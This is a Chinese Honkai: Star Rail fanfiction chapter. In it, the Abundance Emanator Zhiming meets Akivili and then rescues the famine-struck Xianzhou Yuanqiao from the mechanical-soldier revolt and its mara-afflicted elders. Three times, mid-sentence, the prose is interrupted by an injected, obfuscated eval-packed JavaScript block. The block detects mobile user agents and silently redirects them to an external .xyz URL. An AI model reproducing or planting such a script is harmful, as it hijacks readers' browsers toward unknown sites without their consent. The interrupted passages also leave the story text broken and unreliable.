《[崩铁]圆峤仙舟建设指南》 1. 无名客 在尚未离开引力的摇篮、仍在土地之上遥望星空时,许多文明都曾有过自己所居住的星球乃是世界中心的想法。无论是出于信仰还是有限的认知,地心说曾在银河的无数文明婴儿时期广为流传,信者众多。 但在寰宇贯通,诸界相连的如今,飞速发展的文明如恒河沙数,它们早已脱离行星引力的藩篱,自然也不会有人再去相信古老且落后的地心说。 但宇宙如斯广大,谁也不能断定这个银河中没有这样的天体。 ——星穹列车如今停靠的树状世界便是如此。 丰饶民作为和虫群并列的寰宇灾害,见多识广的无名客们自然听闻过造翼者,以及他们的母星:穹桑。对树状世界的警惕在第一时间便已经为他们拉响了警报,但压下这种警惕,让他们仍然驶向目的地的,是无名客天性的好奇。 怎么会有两颗恒星环绕行星在运转啊!这一点都不符合天体物理规律吧! 不过呢,在这个宇宙里,不符合物理规律和科学原理的,一般都和命途之力有关。如今的领航员暂且无法判断这一奇特的现象出自何种力量,权衡之下,星穹列车不闪不避,如同当年创碎琥珀王的天彗星墙一样,头也不回地驶入了这片陌生的星域。 平心而论,这片星域安静得有些过分,至少在视距之内,能观测到的只有两颗恒星和一颗行星。 事实上,说那是行星有些勉强,那是一棵行星级别的巨树。它悬浮在星海之中,树冠茂密,枝干有力,暴露在真空中的根系虬结,牢牢抓握着数个不规则的半球体,星穹列车足够靠近时,才观测到那些是外观有细微差别的岩石、砂砾与泥土,在完全不讲道理的不规则大气保护下,这些土地上草木繁茂。 无名客们离开列车,小心地踏足这个世界。一眼望去,除了草木与一些小型动物,这里几乎看不到半点文明的痕迹,但当领头的灰发男子将第一枚界域定锚钉在土地中时,无形无质的虚数力场瞬间张开,眨眼的功夫便将整个星域直接封锁。 开拓的银轨受到阻滞,星穹列车拉响警报,无名客们瞬间掏出了武器。为首的灰发男子并没有动,他的视线往上,落在一处凸出地面的庞大根系上,那里不知何时出现了一位女士。 来人青衣白发,金纱遮目,手持一柄如同花木生长而成的长剑,剑尖没有指着无名客,只是安静地垂在身侧。她身形虚幻,似乎并不是切实可以触摸的存在,气势却十分惊人,周身流溢的虚数能量与封锁星域的力场如出一辙,几乎是刻意显露出了令使级别的威压。 “无意冒犯,”她的嗓音温和沙哑,“但,你们是什么人?” 如有实质的目光透过流动着符文的金纱,落到领头的灰发男子身上。 只见这位领头人愣了一下,呆滞地指了指自己,在得到了那位不知名女士的颔首之后,便神情凛然,像是做出了影响一生的重大决定似的——低眉顺眼地举起了双手。 他身旁身着兜帽的男性似乎有点看不下去了,用手肘捅了一把灰发男子的腰,收起占星盘,道:“……我们是星穹列车的无名客,初次见面,不知道女士你怎么称呼?” “质明。”她应了这一声之后,便收起了那工艺品一样的长剑,封锁星域的虚数力场也消弭于无形。见情况不再剑拔弩张,无名客们也各自放松下来,又好奇地往这位令使身上瞄。 令使诶,活的令使,虽然也不至于一个也见不到,但终归揭底还是稀有生物。 灰发男子也不再作投降状,如今很是自在地双手叉着腰,不仅如此,他甚至已经自来熟到上前几步,伸手邀请质明:“既然误会已经解除,女士,要不要来列车上看看,顺便为我们介绍一下你的世界?” 质明疑惑且迟疑,她不太理解这人怎么能自来熟到这种地步,她盯着男子伸出的手,不语。但随即这位无名客就笑着道:“我叫阿基维利。”他,或者祂,似乎无比笃定质明知道这个名字,并且在知道祂是谁之后,不会拒绝祂的邀请。 这同祂的位格没什么关系,只是单纯出于开拓星神良好的神际关系。 哪怕是片刻之前还在剑拔弩张的敌人,现在就被阿基维利三言两语请上了列车做客,无名客们似乎已经对这种事情见怪不怪。开拓的阿基维利并不经常在列车上,但是几乎没有人会不喜欢他,就好比整个银河很少有人会唾弃开拓的银轨一样。 “我就说吧,药师那么喜欢我,你肯定知道我!”阿基维利一边给质明倒茶一边自鸣得意着。 质明似乎还是对阿基维利的自来熟接受不能,只是颔首:“祂确实提起过你。”只是没提起过阿基维利会这么自来熟并且热情……不过话说回来,星神与令使之间的关系远近都有,阿基维利为什么那么笃定她一定和药师关系密切,密切到能知道对方的社交关系? 质明若有所思。 “是不是在想我怎么那么确信?”阿基维利好整以暇地问。 质明端起茶杯,微微颔首,她的话还是很少,有种很久没有同人交流过的生疏——俗称人机感:“愿闻其详。” “噗,祂角上挂着的和你眼睛上蒙着的简直一模一样,但凡见过祂的一眼就能认出来吧!” 阿基维利端着茶杯一边笑,一边打个响指开了车厢的门,一个灰毛大耳朵兔子一样的迷之生物端着一盘点心走了进来,它一边给质明介绍着列车特色帕姆派一边数落着阿基维利,说得太入神,被质明微冷的手轻轻摸了一把长耳朵也没反应过来。 “我是列车长,不可以把列车长当成玩具帕!” 阿基维利夹着嗓子:“抱歉啊帕姆,你实在是太可爱了嘛~” 很容易被哄好的列车长嘟嘟囔囔地走了,阿基维利还是笑得很开朗,祂的视线落到窗外,温和道:“如果不介意的话,可以讲讲这个世界,和我们到来之前发生的事情吗?” 繁星与明月随着夜色一起褪去,伴随着第一缕晨光,巨树的枝叶发生了改变。点缀着淡黄花朵的月桂几乎是在顷刻间变成了浓荫的桑叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099050|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,列车之内,质明虚幻的影像也随之变化,点缀在发间的月桂变成了桑枝桑叶,几乎是明示了她与这棵巨树的联系。 列车外,无名客的惊叹此起彼伏,属于白日的草木舒展筋骨,绽放花蕾,欣欣向荣。列车内,在阿基维利好奇的目光下,质明慢慢道:“它是我的卵壳,我的蝶蛹,我的箱庭……我曾经的家园。” 丰饶的令使于是讲起一个拥有双子恒星的文明,讲起它如何兴盛,又如何毁灭;讲起带着人类最后希望的宇宙飞船如何摆脱大气,如何摆脱复杂的恒星引力,又是如何在星系的边缘遭遇了庞大的陨石群;讲起自己无法视物的双眼,讲起自己如何从冷冻仓中苏醒,又是如何在一片黑暗与寂静之中等待死亡。 最后,药师在一片死寂的深空中将她擢升。 人类脆弱的灵魂与精神无法完全承载药师无私给予的力量,质明在谒见了丰饶药师之后便收拢原生星域残余的物质,构建了一套简陋的防御体系,便在巨树的中心陷入了沉睡,以时间的伟力促成精神与□□的融合。所以真正的质明还蜷缩在冷冻仓内沉睡,如今阿基维利和无名客们见到的只是意识投影。 至于在无名客们到来之前造访此地的不速之客……质明眉头微皱。 “那群人自称‘武装考古学派’,来了我这里就四处挖掘翻找,烧尽了好几块地皮,连我的根系都要一起折断,我试图制止,但他们充耳不闻,甚至拿出了更大当量的炸/药。我只好把他们全都变成了肥料。” 阿基维利对此并无意见,只是诚恳地建议:“博识学会旗下学派林立,你提到的这一支算是格外蛮不讲理的,其他的,比如‘烛墨学派’和‘星空生态学派’倒也还像那么回事,下次遇到的话,不妨给个好脸色。” “多谢。”质明有些呆呆地应下。 “——不过,我看你和帕姆沟通没有障碍,你注射了联觉信标?” 质明笑了笑:“一位智械朋友的赠礼。” 阿基维利端起茶杯向质明示意,祂笑道:“无名客们不缺乏勇气与好奇,但总是冲得太前,难免受伤,星穹列车缺一位医生,如果你破茧而出之后不知道该去做什么的话,不妨来当一当无名客?星海如此广大,寰宇瑰丽奇景多到不可胜数,去看看总没错的。” 阿基维利此时仿佛才终于有了那么一点虚幻的长辈气质,祂温柔地注视着舷窗外的无名客们,又越过那群人,越过草木,越过树冠,越过人造的大气,投向无穷远的星空。 质明看清了开拓星神的表情,那眷恋着什么的模样,是如此接近人类。她的恩主药师总是无悲无喜地笑着,慈悲如佛面,但比起人类,大概更接近木胎泥偶。药师当然不是真的没有感情没有悲喜,擢升她时祂也为她垂泪,但比起如今沐浴在晨光里的阿基维利……好似都差了些什么。 “……谢谢你,阿基维利。”质明只能如此说道。 “好说,那就希望你别撞上某个总是喜欢混到列车上来捣乱的家伙了,嘿嘿。” 2. 圆峤 在确认了整片星域确实只有质明这一个高级智慧生物,也并无可供辨认的文明痕迹之后,无名客们在繁茂花木之间留下了数个界域定锚,便在七天之后离开了。 星域本身是质明的私人领地,且在不断地移动,虽然开拓的银轨延伸至此,但无名客们公开的星轨航图上没有将这片星域记录其中。阿基维利的原话是,列车肯定能循着来时路找到这里,但别的航船就不一定了。 开拓的客人们来去匆匆,时间在他们停留的时候似乎要走得慢一些,等到他们离开,质明回到树心冷冻仓中沉睡,时间的指针便如同被人为拨动了一般。生命的转换之于质明,是一场漫长的完全变态,她在睡梦中听见琥珀王的巨锤敲落,时光流转快得如书本翻页。 克里珀的巨锤又一次砸响,新纪元的伊始,蜕变完成的丰饶令使睁开金纱遮盖的双目。 异乡的神话中,扶桑栖息着太阳,月桂托举着月亮,它们曾是双子星系的两颗明珠,文明与传说一同湮灭后,质明取下两枚复明的眼,赋予了恒星的光和热,使其流转如初。药师那时垂怜她空洞的眼窝,剪下鹿角上缠绕的符文金纱,以之为媒介,为质明拟态复现、填充血肉。 是以,围绕本体“桑桂”运行的日月,就是质明的一双眼目。 而如今这双眼目的视距之内,质明赫然瞥见了一艘滑向红巨星的……船? 与庞大膨胀的暮年恒星相比,那确实是一艘小船,如同被水中旋涡卷入的落叶,它也被红巨星的引力牵引、撕扯,摇摇欲坠,行将破碎。这并不是最吸引质明的地方,最吸引她的是……这艘船在她新生的感官里,十分美味。即使能量比不过旁边那颗红巨星,看起来也滋味可口。 上次有这种感觉,还是一小股步离人猎群闯入她星域的时候,它们显然也觉得质明的本体是佳肴美馔,因而也和博识学会的盗墓贼们埋在了同一个地方,那里的花木如今格外茂密。 所以这艘船里是丰饶民,不过,怎么有混得这么狼狈的丰饶民?质明脑海里闪过无名客们向她科普的寰宇灾害,疑惑的同时,动作也不慢,将那艘小船卷起,拖进了自己的星域。 质明没有见什么吃什么的爱好,捞起这片“树叶”,只是出于纯粹的好奇与微妙的善意——总不能所有丰饶民都是步离人和造翼者那个德行吧。 这么想着,青衣白发的人类女性打开陈旧的冷冻仓,时隔数个琥珀纪,再次以自己的肉身行走。她轻巧地几个起落,便看见了那艘被放置在一处半球形土地上的航船。以人类的视角来看它并不小,只是如今舰首被高温融化得不成样子,剩余的部分被引力扯得松松垮垮摇摇欲坠,让人担心上面是否还有活物。 事实证明,有的,还不少,但他们也仅仅只能算是……还在喘气。 丰饶民的自愈能力向来是宇宙翘楚,这无中生有般的伟力来自丰饶药师的慷慨赠予。他们不会轻易因外伤过世,也很难因饥饿而死,但不会饿死并不代表着不会饥饿,相反,因为无法因此而死,饥饿和求生本能带给他们的痛苦恐怖到足以吞噬神志。 质明越过化为焦土的舰首,穿过无数破碎的洞天,循着生息而去,看见的就是如此景象。 岁大饥,人相食。 拥挤残破的窝棚,四肢枯瘦但腹部鼓胀、蠕动着的“人”,高温带来的损伤已经逐步愈合,撕扯着胃袋和心智的饥饿却无法可解,他们中的绝大多数浑浑噩噩到不知道之前发生了什么。他们当然还活着,但也只是活着。 质明愣在原地。 她朦胧的记忆里似乎有什么即将浮出水面,但下一刻,便有不速之客闯入这片棚户街区。高大的机械造物手持利刃,无差别地践踏过每一个尚有呼吸的人,哪怕第一时间没有咽气,随即也会被枭首、然后碾碎头颅与躯干,确保彻底死去。 极少数青壮年还能跌跌撞撞地爬起来求生,断断续续地喊着“金人来了、金人来了”,但更多的人在肮脏地面上虫豸般蠕动,组织不起一点反抗的力量。更有甚者,看见那机械的死神到来,浑浊的眼睛泛起亮光,毫不避讳地拥抱死亡。 质明不语,提剑将一个金人分作两半,可状如行尸、匍匐等死的人却对她破口大骂,骂了没两句,终究还是没了力气,复又跌回地面,干枯的眼窝里落下浑浊的泪。 ……这是怎样的炼狱啊,活着和死亡为什么都这样艰难? 枝叶与藤蔓破土而出,见风就长,它们缠绕着金人,发出令人牙酸的绞杀声,却也结出嘉果,播撒治愈的力量。逃走的青壮回返,扶起家人与邻里,服下饱腹的果实,随后不住地向质明叩头感谢,而质明拎着她的剑,迷茫地看着这一切。 人不应当这样活。 但人该怎样活? 星域中心的巨树从根系上分出枝桠,此地草木与生灵的宗母降下垂怜,令丰穰恩惠这残破的航船。 她高悬于天的眼目索寻着哀鸣的人子,花蔓与枝条绞死横行无忌的金铁,甘霖与嘉果哺育那饥肠。 蒙受恩主赐予的人们沦落至此,而航行深空的楼船总比她来不及脱离摇篮的故土明智,何以至此? 青衣白发的女性开口,温柔沙哑地讲出了她来到此地后的第一句话:“这是什么地方?” 涕泗横流的青年起身,胡乱地抹了一把脸,答道:“这里是……仙舟圆峤。” 质明提剑,剑尖指向极远处豪奢的建筑:“那里呢?” 青年的视线顺着剑尖看去,干瘦的脸颊瞬间就染上了扭曲的愤怒:“耆宿所在!” 质明看他一眼,没有说话,却还是向着隐隐能听见丝竹管弦之声的建筑走去。她也很好奇,在这大厦将倾的时刻,外有撕裂一切的引力与高温,内有一视同仁屠戮有机生物的金人,怎么还会有人寻欢作乐,当真是醉生梦死,什么都顾不得了? 离乐声越近,道路两旁垒砌的建筑就越多。这是为炫耀武功,聚集敌尸,封土而成的高冢——京观。 泥沙与土石混合浇筑之下的,并不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099051|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻常的建筑材料,而是一颗颗的人类头颅……甚至都不是正常京观所用的完整躯干,仅仅是头颅。质明能看见,那些头骨眉骨处深深的凹陷,证明死者生前过得十分窘迫贫苦,而这些头骨甚至有一大半都属于妇孺,而非青壮男子。 在道路两旁以人头垒起如此奇观……分明就是以屠杀取乐? 质明心头的无名火越烧越烈。 最高的一座京观在府邸的东侧,形如山岳。无头的身体被军士们弃如敝履,凌乱的头发被拎起,那无神的眼凝望着不远处雕梁画栋的楼阁。“啪嗒”一颗头颅被扔在了最高处,麻木的士兵将其按下,封土、填埋,然后接过另一颗头颅。仿佛那不是同胞惨死的尸身,而是一块石头,一个沙袋。 被质明的藤蔓绞碎的金人在不远处,而这些垒着京观的人仿佛没有看到一般,只是机械地重复着自己的“工作”。 质明没管他们,拎着剑,皱着眉头,越走越快,如同一阵青色的旋风,摧枯拉朽地闯入了府邸的最深处。这恐怕是防御措施最坚固的地方,连建筑都少有破损,宴会的觥筹交错甚至还在继续,这些喝着酒吃着菜的人看着也奇怪极了,一个个面无人色,质明从他们身边走过,他们也视若无睹。 宴会的最上首正在进行一场屠杀。苍白到形如鬼魅的男子正死死扼住一个侍女打扮的女子,装饰华丽的短刀在他另一只手里,他的瞳孔收缩到极致,脸上泛着兴奋的潮红,在侍女不住地哭泣哀求中,把短刀贴上了她的面颊。 “你的皮囊真是美——” 话音未落,衣着华丽的男子便被质明一剑枭首,血溅了侍女满头满脸。那头颅滚落在地,男子细小的瞳孔剧烈地收缩着,喉咙里冒出咕噜咕噜的声响,质明还没来得及上前,便见到另一边训练有素的侍从出列,就着他的头发,像拎起一只麻袋一样拎起那脑袋,脚步不停地往外去了。 侍女断断续续地尖叫着,但整个宴会大厅,好像没有人意识到刚才被拎出去筑京观的脑袋,属于此间主人。这里的所有人,都只是木木樗樗地重复着谈笑、宴饮。 这里明明很热闹,却如同没有一个活物一样寂静。 这太荒谬了。 质明现在觉得自己宁愿面对铺天盖地的虫群,也不想和这些活尸一样的人待在同一个屋檐下。她拉起侍女,随便找了个人擦干净剑上的血,头也不回地向外面走去。 许多年以后的仙舟联盟有这么一本奇书,名为《魔阴身考》,上面记载了各个仙舟在阋墙之战初期便已经出现的魔阴身症状;诸如曜青的“腴肉连城”,朱明的“赤怒焚王”、虚陵的“白骨夏宫”、玉阙的“碧血山茔”……而属于仙舟圆峤的魔阴身“奇观”——名为“如岳京观”。 “所以……这究竟是怎么回事?” 身形虚幻的高大男子生着一双熠熠金眸,他以一种奇异而复杂的目光看着质明。接着质明以自己的能力帮助他凝实了躯体,自称“岚”的男子才道: “此乃长生之祸。” 3. 慈悲 被判寒椁永眠之后,岚本以为自己会一直这么沉睡下去,或是在未来的某一次危机中被唤醒,或是一直在停止的时间中耗尽自己剩余的生命……无论怎样,他唯独没想过会以这样特殊的形式存在。 在古国的说法中,他现在的情况一般叫做魂魄离体,但考虑到肉身恐怕很难有苏醒的机会,所以叫孤魂野鬼也算贴切……如果再加上这种不能轻易离开某地的限制,那就纯属地缚灵了。 不能轻易离开其实也就是可以离开,只要跟随定期前往各个仙舟的传令兵,岚就能停留在不同的仙舟。其实这件事回想起来有些好笑,他尚且为人时,四方征战少有歇息,也没空停下来看看曜青和罗浮之外的仙舟是什么模样,现在做了鬼,倒和旅游似的一一看了个遍。 这家伙实在是做人做鬼都精彩,从前就是一等一的狷介之士,虽说战场上多有妙计,但性格上就耿直到有点轴,认死理又撞了南墙也不回头;现在跟随仙舟流动的军士四处看过,性情仿佛是沉淀了不少,但眼见着仙舟求得长生之后祸事连连,如今更是沧海横流,兄弟阋墙,说没点情绪那是不可能的。 世界上总有些事情是哪怕知道徒劳也一定要去做的。 就好比他当年一箭射向建木,就好比他现在拼尽全力想要保护身边这不幸的孩子。 绝大多数人看不见他,但刚出生的孩子除外;他无法干涉绝大多数现实存在的事物,摸摸孩子的脸颊不在其中——世界上哪里来的那么巧的事,岚于是只能想尽办法在兵荒马乱中保护现在唯一能保护的人。 失控的楼船被引力捕获,不可逆转地滑向红巨星,岚想,太阳也会将人的灵魂燃烧吗?如果会的话,那他的怒火为什么不能烧尽那些灭绝人性的怪物,如果不会,那他又因何出现在这里——难道仅仅是为了见证全然由人祸导致的、这一刻的绝望与毁灭吗? 失去了父母的孩子饿得哭声像小猫叫,她也快要没有力气哭泣了,曜青的孤魂野鬼榨不出血来,只能把手指头塞进她嘴里聊以慰藉。 转机就是这个时候到来的,被引力撕扯的圆峤仙舟似乎又被另一样东西捕获,在一阵失重与眩晕后,那要把人烤化的热度消失不见,洞天的层层屏障之外,陷入了诡异的平静。而后仿佛乐土之神亲至,坚硬的甲板与地砖被柔韧的枝条刺穿,藤蔓上结出果实,波动的能量治愈了那孩子几日的低烧。 绝境之中的希望,哪怕那可能是贻害无穷的至毒,为了生存也必须咽下。 所幸岚并没有迟疑多久,外来者便已经匆匆而至。 青衣白发的女人手持长剑,执剑的姿势不便发力,即使剑上带血,也能一眼看出不谙刀兵。金纱遮住双目,她的目光却有如实质,似乎在寻找着什么。下一个瞬间,岚同她对上了视线。 “你需要帮助吗?”她的目光落到岚怀中哭声细弱的孩子上。 岚:“……某无法触碰他物。” 女人的神情有一瞬疑惑,随即伸手,从岚那里熟练地接过了襁褓。岚便见蔓生的枝叶又往上生长,温顺地依凭在她手边,结出的果实被她随手摘下,碾碎之后喂进了女婴口中。 她理了理孩子的胎发,试了试脉搏和心跳,看起来很是专业,道:“暂时不会有问题了,看着有点营养不良,但幸好身体健康,后续要注意补充营养。” “……”岚没有应声。 女人脸上的血迹没有擦干净,神情和语调却温柔:“抱歉,你的问题的话……我应该也有办法。” 那根藤蔓期期艾艾地来到了岚面前,岚璀璨的金眸定定地注视了它片刻,最终还是将手搭了上去。涌动的能量遍及周身,锚定了某种遥远的联系,脚下的影子由浅至深,他在此刻重临人间。 “某名岚,多谢阁下相助。” “……不必这么客气,我是质明。作为帮助你的报酬,能否告诉我,现在这里……究竟是什么情况?” 岚概括性地说道:“此乃长生之祸。”他接着大概解释了一下仙舟人在获得长生之后发生的事情,科技水平飞升,人口膨胀,资源不足,阶级/固化诸如此类,算是系统性地讲解了圆峤沦落至此的原因。 “果然是丰饶民啊,”质明一边喃喃,一边以一种复杂的神情,看向硝烟弥漫、残垣断壁的周遭,“如果一直这样下去的话,会变成什么样子,也不难想象吧。” 岚一时不知道质明说这话是什么意思,他疑惑地看去:“?” 质明轻轻拍着怀中女婴的背,温声道:“虽然有点冒犯,但我想,如果能够阻止这样的进程就再好不过。丰饶民不需要更多的生物多样性了……而且,人活成现在这样,未免太可悲了。” 岚提醒道:“足下悲悯不似作伪,但无来由的善意,只会让人警惕。” 质明失笑,她摇摇头:“说得好像我打个响指就能解决问题一样。” 岚的视线在脚边的藤蔓上停留一瞬,然后定定看着质明,就像在说:难道不是吗。 “虽然你我刚刚认识,但以你的见识,难道看不出这只能治标不治本?”质明说完这句,便叹了一口气。岚没再继续追问什么,现在并不是刨根问底的时机,他只是道:“倘若足下需要,岚在所不辞。” 虽然说着在所不辞,但在质明看来,这位曾经的战争英雄从未放下过对她的警惕。 在这个虽然遭遇长生之灾祸,但绝大多数人仍然认为是人性贪心不足,是老生常谈的内部矛盾的情况下,质明只要亮出身份,无论是贵胄还是平民,多半不会给她太多阻碍。毕竟最疯魔的那一批耆宿质明老早就亲自处理了,剩下这一批多少有点眼色,哪怕不看药师的面子,仅仅是令使的位格也够了。 在绝大多数幸存者愿意卖她个面子的情况下,岚那仿佛背后灵一样的目光,就尤为突出。 质明没管他,他又不可能无缘无故给她来一箭,现阶段最重要的是处理金人叛乱。质明的主张是团结一切能够团结的力量,除了最开始的人命关天迫在眉睫,在之后的流程里她没有过多参与。 她是来帮忙,不是来养肉猪的。虽然仙舟人一直都很看起来可口。 用质明自己的话来说:“你们是天人,□□强度和寿命都不可同日而语,度过了建木带来的数百年黄金时代,不会连曾经镇压过的金人都没法再次解决吧?” 绝大多数肆虐居住区的金人都在质明抵达圆峤后被藤蔓绞碎,余下的金人则占据了主要的交通枢纽、控制中心、乃至于仙舟的引擎和对外通讯设施,这些地方曾经留守的人在质明到来之前早已丢了性命。圆峤如今东拼西凑出来的守军在岚的指挥下有条不紊地推进着阵线,偶有败退,但整体情况稳定。 与稳中向好的战况不同,随着阵线推进,圆峤一些重要设施的损毁情况却不容乐观。 主副引擎都遭到了严重的损伤,用以和其他仙舟实时通讯的黄钟系统彻底停摆,其他联络手段也均被破坏,行驶和跃迁的能源被消耗殆尽,各大主要洞天的交通枢纽七成以上不能使用,乃至于导航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099052|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统中存储的星轨航图,常用的联络波段,其他仙舟的位置坐标也被统统删除……更别说本来就稀少的洞天资源。 金人乃是有计划、有目的地推进着这艘仙舟上人类的毁灭。圆峤现在还能有艘船的样子,只能说多亏了质明下手比较快。但质明的星域坐标从来都是在不断变动,她自己都不一定知道自己现在在哪里,可以说圆峤现在就是一叶孤舟。 估算损失报告的清单在质明面前堆了长长一卷,她看得颇有些焦头烂额。其实质明也曾用某种期盼的目光看向“在所不辞”的岚,后者顶着着这种目光,只能硬着头皮道:“某只会拆引擎。” 质明失望地回过头去,叹气:“现在只能希望还能找到几个活着的技术人员……” 就看金人叛乱时候那定点精准打击的劲头,想也知道多困难,如果做好最坏的打算,那就是需要在知识断代的情况下再培养一批人出来……但知识垄断在哪里都不新鲜。 这就是爱操心就有操不完的心。 上一件事情还没料理完,下一件麻烦事就找上了门来。来者是一位洞天之主,并不在那日质明见过的宴会上,可这人如今的面貌却和那些宴上的行尸颇为相似,瞳孔缩小,面色苍白,神色时而浑浑噩噩,时而满面悲戚,他一见了质明便扑通一声跪下,把在场所有人都吓了一跳。 质明强笑着:“这不年不节的,何必行此大礼?” 洞天之主深深下拜:“长桑君有通天之能,某如今已是强弩之末,一眼能辨,请长桑君垂怜,使某能坦荡离去,不至沦落到行尸走肉之态,此番敬拜。”说完,又重重地在地上磕了个头。 长桑君乃是圆峤如今对质明的尊称,取自古国一位名医的恩师,意在感激质明救圆峤于水火。 质明一边示意岚把他扶起来,一边问:“……你知道你在说什么吗?” 那人顺从地站了起来,仍然低着头,没有同质明金纱下的双目对视:“某意在求死,心知肚明。” 质明放下标红了一大堆的卷轴:“我知道了。是你自己要来,还是谁让你来的?” “无人指使。”他说完,长长叹息着补充了一句,“看来某猜对了。” 岚突然意识到了什么,惊愕之下,眸光死死盯着起身离席的质明。她同他说起过丰饶民的其他群体,也讲起过药师赐福可能的运行机制。鲸吞蚕食,茹毛饮血,只为了积聚他者的赐福于己身。位格到了令使这一地步,只要她愿意,她能做的事情有很多。 遮盖眉眼的金纱也挡住了质明的表情,只能听见她温柔沙哑的嗓音在此刻显得有些空灵,如同宣告:“求取生命最后的尊严,不需要卑躬屈膝。” 她伸出手,爱怜地拂过洞天之主乌黑的鬓角,下一秒,雪色就落在那青丝上,时光的痕迹也仿佛在此刻尽数返回,在天人成年后停滞的身体中重新轮转起来,一瞬间便是所有的春夏秋冬。青年形貌的男子身形在几个呼吸间便佝偻下去,眸光如同一个普通短生种老人一样浑浊,瞳孔却恢复了正常。 质明手边出现了一根刚刚生长的拐杖,她把它放到枯朽如树皮的手下,口吻温柔如絮语: “既然有勇气来到我的面前,那也一定能自己走完剩下的路吧。”既然有勇气主动寻求生命最后的尊严,那也一定能够面对梦寐以求的逐渐凋亡,这是期盼,也是祝福,唯独没有一丝一毫的诅咒。 老人眼中满含泪花,在拥抱了衰老与即将到来的死亡之后,像拥抱母亲一样拥抱了质明。 4. 承阳 植物大概是不会做梦的。 但质明毕竟不是真正的植物,行星大小的桑桂是她的本体,纤秾合度的肉身也是她的构成。 树不会做梦,但人会。 短生种蜕变为长生种的过程漫长而浑噩,陈旧的冷冻仓里没有迷梦的土壤,幸好质明不久就回到了人类的社群中,埋藏在深处的记忆渐渐活跃、翻涌,于是在圆峤某个微雨的夜晚,她久违地陷入了梦境。 天生盲人的梦境没有具体可供辨认的形象,只有声音、触感和一切非视觉感官的体验,质明如今的梦不再是这一单调的类型——她梦见了恢复视觉后最开始看见的景象。 冷冻仓的外壳布满裂痕,众生哺育者大而无当的形象也被分割、扭曲。祂一只下撇垂怜的眼被框进一块完整的碎片里,向濒死的质明投来了视线。 寂灭破碎的深空之中,渺小的人类被困在冷冻仓里,如同未能蜕变而死在蛹中的飞蛾。 而药师从命运的湍流里捧起了这只茧。 “我的恩主、乐土之神啊,我向你发问……” 药师的回答是低低地、温柔地呢喃着质明无法理解的呓语,随后祂垂下头颅,一滴泪水向人子坠落。 青衣白发的女人从梦中醒来。 微冷而潮湿的空气让她轻轻蜷缩了一下手指,随后她推开窗,仰视着穹顶略有暗沉的天色。 这是一处整洁的院落,秉承了仙舟一惯的青砖黛瓦复古风格,如今窗外的石板路上正有人执伞而过,臂弯里夹着一叠纸质的卷宗,他仿佛听见了动静,伞面微倾,看了过来。 质明没注意偏过头去的岚,只是随意地披衣起身,问道:“里面有风雨台对天气系统的报告吗?” 岚摇摇头:“大略估算了损伤。” “损伤从地上一看就能有大概,但那边但没说怎么修,是吧?”质明叹气。 一边说着,两人一个从外一个从内,都来到了办公的书房。 现在其实并不是正经该工作的时候,但谁也没在意这种问题,如果某些紧急事情只能上班时间处理,那这艘本来就破破烂烂的仙舟没几天就能只剩下龙骨……现在提按时上下班还是太早了。 质明一目十行看完报告,揉了揉额角:“明天就告诉风雨台不用再维持天气系统了,把能源省下来干点别的,我有一套成熟的天气混沌模型,外面也有大气,直接接入就可以。屏障那边也是一样的命令,我的防御力场强度足够。” 岚应下,拉开座椅,在另一张桌上斟酌言辞,撰写质明目前还应付不来的仙舟公文,与此同时,质明正在看他带来的其他纸质文件。 良久,质明才问:“从电子档查到纸质档,也没找到那孩子的父母吗?” 岚握着笔的手顿了顿,“嗯”了一声。 他在建木生发的年代被判永眠,自然无从见识仙舟的黄金时代,对于目前使用的高端科技多少有些无所适从,虽然因为莫名其妙被抓来工作,已经在紧急学习,但现在趁手的还是原始的手写。 “那你改天去办收养手续?” 半晌没得到回答,质明有些摸不准岚的意思,她于是又道:“那我去?不回答就当默认了哦。” “可。但你为何……”岚终于还是憋了几个字出来。 质明顿了一下,轻描淡写道:“……我有过孩子。” 岚微微愣住,他出身行伍,不是轮替守眠就是在战场,确实没有照顾幼儿的经验,这一点他无法反驳,而且事到如今,金人动乱眼见就要平息,但圆峤仙舟的混乱却不会因此而止,甚至有可能愈演愈烈,要论最安全的地方,只能是质明所在之处。 只是,“有过”,这样的描述很难不引发联想。 但他们现在的关系并没有亲近到可以谈论如此隐秘的往事,岚的好奇心也并不旺盛,于是话题就此打住。 只是岚忍不住想起了前些日子那位洞天之主,那个被剥离了丰饶赐福的老人。质明其实没有真的让那垂垂老矣的贵胄独自离去,她遣了几个卫兵,护着那人直到他与他的私兵汇合。 她安静地注视着老人的时候,神态就如同那也是她娩出的子裔。 